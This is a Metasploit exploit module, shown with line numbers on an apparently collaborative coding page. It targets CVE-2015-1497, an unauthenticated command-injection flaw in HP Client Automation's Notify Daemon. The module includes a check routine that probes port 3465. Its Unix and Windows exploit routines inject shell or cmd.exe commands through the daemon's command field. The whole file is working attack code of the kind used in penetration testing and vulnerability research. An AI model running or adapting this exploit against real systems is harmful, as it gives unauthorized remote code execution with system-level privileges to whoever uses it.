Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::CmdStager
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'HP Client Automation Command Injection',
15
      'Description'    => %q{
16
        This module exploits a command injection vulnerability on HP Client Automation, distributed
17
        actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
18
        Daemon (radexecd.exe), which doesn't authenticate execution requests by default.
19

20
        This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2
21
        and CentOS 5.
22
      },
23
      'Author'         =>
24
        [
25
          'Ben Turner', # Vulnerability discovery
26
          'juan vazquez' # Metasploit module
27
        ],
28
      'References'     =>
29
        [
30
          ['CVE', '2015-1497'],
31
          ['ZDI', '15-038'],
32
          ['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']
33
        ],
34
      'Privileged'     => true,
35
      'Platform'       => %w{ unix win },
36
      'DefaultOptions' =>
37
        {
38
            'WfsDelay' => 10
39
        },
40
      'Payload'        => {'DisableNops' => true},
41
      'Targets'        =>
42
        [
43
          [ 'HP Client Automation 9.0.0 / Linux',
44
            {
45
              'Platform' => 'unix',
46
              'Arch'     => ARCH_CMD,
47
              'Payload'  =>
48
                {
49
                  'Space'       => 466,
50
                  'EncoderType' => Msf::Encoder::Type::CmdPosixPerl,
51
                  'Compat'      =>
52
                    {
53
                      'PayloadType' => 'cmd',
54
                      'RequiredCmd' => 'openssl telnet generic gawk'
55
                    },
56
                  'BadChars' => "\x27"
57
                }
58
            }
59
          ],
60
          [ 'HP Client Automation 9.0.0 / Windows',
61
            {
62
              'Platform' => 'win',
63
              'Arch'     => ARCH_X86
64
            }
65
          ]
66
        ],
67
      'DefaultTarget'  => 0,
68
      'DisclosureDate' => '2014-01-02'))
69

70
    register_options(
71
      [
72
        Opt::RPORT(3465)
73
      ])
74

75
    deregister_options('CMDSTAGER::FLAVOR')
76
    deregister_options('CMDSTAGER::DECODER')
77
  end
78

79
  def check
80
    connect
81
    sock.put("\x00") # port
82
    sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
83
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
84
    sock.put("hide\x00") # command
85
    res = sock.get_once
86
    disconnect
87

88
    if res && res.unpack('C')[0] == 0
89
      return Exploit::CheckCode::Detected
90
    end
91

92
    Exploit::CheckCode::Safe
93
  end
94

95
  def exploit
96
    case target['Platform']
97
    when 'win'
98
      print_status('Exploiting Windows target...')
99
      execute_cmdstager({:flavor => :vbs, :linemax => 290})
100
    when 'unix'
101
      print_status('Exploiting Linux target...')
102
      exploit_unix
103
    else
104
      fail_with(Failure::NoTarget, 'Invalid target')
105
    end
106
  end
107

108
  def exploit_unix
109
    connect
110
    sock.put("\x00") # port
111
    sock.put("0\x00") # user ID
112
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
113
    sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected
114
    disconnect
115
  end
116

117
  def execute_command(cmd, opts = {})
118
    connect
119
    sock.put("\x00") # port
120
    sock.put("S-1-5-18\x00") # user ID
121
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
122
    sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
123
    res = sock.get_once
124
    disconnect
125
    unless res && res.unpack('C')[0] == 0
126
      fail_with(Failure::Unknown, "Something failed executing the stager...")
127
    end
128
  end
129
end
130

131